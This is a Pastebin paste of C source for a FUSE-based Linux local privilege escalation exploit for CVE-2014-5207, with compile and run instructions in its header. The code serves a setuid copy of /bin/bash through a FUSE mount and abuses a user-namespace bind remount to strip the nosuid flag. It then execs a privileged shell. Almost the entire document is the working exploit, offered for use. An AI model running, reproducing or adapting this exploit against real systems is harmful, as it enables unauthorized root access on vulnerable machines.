Guest User

Untitled

a guest
Dec 8th, 2016
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.38 KB | None | 0 0
  1. /*
  2. FUSE-based exploit for CVE-2014-5207
  3. Copyright (c) 2014 Andy Lutomirski
  4.  
  5. Based on code that is:
  6. Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu>
  7.  
  8. This program can be distributed under the terms of the GNU GPL.
  9. See the file COPYING.
  10.  
  11. gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
  12. mkdir test
  13. ./fuse_suid test
  14.  
  15. This isn't a work of art: it doesn't clean up after itself very well.
  16. */
  17.  
  18. #define _GNU_SOURCE
  19. #define FUSE_USE_VERSION 26
  20.  
  21. #include <fuse.h>
  22. #include <stdio.h>
  23. #include <string.h>
  24. #include <errno.h>
  25. #include <fcntl.h>
  26. #include <err.h>
  27. #include <sched.h>
  28. #include <stdlib.h>
  29. #include <sys/types.h>
  30. #include <sys/wait.h>
  31. #include <sys/mount.h>
  32. #include <unistd.h>
  33.  
  34. static const char *sh_path = "/sh";
  35. static int sh_fd;
  36. static loff_t sh_size;
  37.  
  38. static int hello_getattr(const char *path, struct stat *stbuf)
  39. {
  40. int res = 0;
  41.  
  42. memset(stbuf, 0, sizeof(struct stat));
  43. if (strcmp(path, "/") == 0) {
  44. stbuf->st_mode = S_IFDIR | 0755;
  45. stbuf->st_nlink = 2;
  46. } else if (strcmp(path, sh_path) == 0) {
  47. stbuf->st_mode = S_IFREG | 04755;
  48. stbuf->st_nlink = 1;
  49. stbuf->st_size = sh_size;
  50. } else
  51. res = -ENOENT;
  52.  
  53. return res;
  54. }
  55.  
  56. static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
  57. off_t offset, struct fuse_file_info *fi)
  58. {
  59. (void) offset;
  60. (void) fi;
  61.  
  62. if (strcmp(path, "/") != 0)
  63. return -ENOENT;
  64.  
  65. filler(buf, ".", NULL, 0);
  66. filler(buf, "..", NULL, 0);
  67. filler(buf, sh_path + 1, NULL, 0);
  68.  
  69. return 0;
  70. }
  71.  
  72. static int hello_open(const char *path, struct fuse_file_info *fi)
  73. {
  74. if (strcmp(path, sh_path) != 0)
  75. return -ENOENT;
  76.  
  77. if ((fi->flags & 3) != O_RDONLY)
  78. return -EACCES;
  79.  
  80. return 0;
  81. }
  82.  
  83. static int hello_read(const char *path, char *buf, size_t size, off_t offset,
  84. struct fuse_file_info *fi)
  85. {
  86. (void) fi;
  87. if (strcmp(path, sh_path) != 0)
  88. return -ENOENT;
  89.  
  90. return pread(sh_fd, buf, size, offset);
  91. }
  92.  
  93. static struct fuse_operations hello_oper = {
  94. .getattr = hello_getattr,
  95. .readdir = hello_readdir,
  96. .open = hello_open,
  97. .read = hello_read,
  98. };
  99.  
  100. static int evilfd = -1;
  101.  
  102. static int child2(void *mnt_void)
  103. {
  104. const char *mountpoint = mnt_void;
  105. int fd2;
  106.  
  107. if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0)
  108. err(1, "unshare");
  109.  
  110. if (mount(mountpoint, mountpoint, NULL, MS_REMOUNT | MS_BIND, NULL) < 0)
  111. err(1, "mount");
  112.  
  113. fd2 = open(mountpoint, O_RDONLY | O_DIRECTORY);
  114. if (fd2 == -1)
  115. err(1, "open");
  116.  
  117. if (dup3(fd2, evilfd, O_CLOEXEC) == -1)
  118. err(1, "dup3");
  119. close(fd2);
  120.  
  121. printf("Mount hackery seems to have worked.\n");
  122.  
  123. exit(0);
  124. }
  125.  
  126. static int child1(const char *mountpoint)
  127. {
  128. char child2stack[2048];
  129. char evil_path[1024];
  130.  
  131. evilfd = dup(0);
  132. if (evilfd == -1)
  133. err(1, "dup");
  134.  
  135. if (clone(child2, child2stack,
  136. CLONE_FILES | CLONE_VFORK,
  137. (void *)mountpoint) == -1)
  138. err(1, "clone");
  139.  
  140. printf("Here goes...\n");
  141.  
  142. sprintf(evil_path, "/proc/self/fd/%d/sh", evilfd);
  143. execl(evil_path, "sh", "-p", NULL);
  144. perror(evil_path);
  145. return 1;
  146. }
  147.  
  148. static int fuse_main_suid(int argc, char *argv[],
  149. const struct fuse_operations *op,
  150. void *user_data)
  151. {
  152. struct fuse *fuse;
  153. char *mountpoint;
  154. int multithreaded;
  155. int res;
  156.  
  157. if (argc != 2) {
  158. printf("Usage: fuse_suid <mountpoint>\n");
  159. return -EINVAL;
  160. }
  161.  
  162. char *args[] = {"fuse_suid", "-f", "--", argv[1], NULL};
  163.  
  164. fuse = fuse_setup(sizeof(args)/sizeof(args[0]) - 1, args,
  165. op, sizeof(*op), &mountpoint,
  166. &multithreaded, user_data);
  167. if (fuse == NULL)
  168. return 1;
  169.  
  170. printf("FUSE initialized. Time to have some fun...\n");
  171. printf("Warning: this exploit hangs on exit. Hit Ctrl-C when done.\n");
  172. if (fork() == 0)
  173. _exit(child1(mountpoint));
  174.  
  175. if (multithreaded)
  176. res = fuse_loop_mt(fuse);
  177. else
  178. res = fuse_loop(fuse);
  179.  
  180. fuse_teardown(fuse, mountpoint);
  181. if (res == -1)
  182. return 1;
  183.  
  184. return 0;
  185. }
  186.  
  187. int main(int argc, char *argv[])
  188. {
  189. sh_fd = open("/bin/bash", O_RDONLY);
  190. if (sh_fd == -1)
  191. err(1, "sh");
  192. sh_size = lseek(sh_fd, 0, SEEK_END);
  193. return fuse_main_suid(argc, argv, &hello_oper, NULL);
  194. }
Add Comment
Please, Sign In to add comment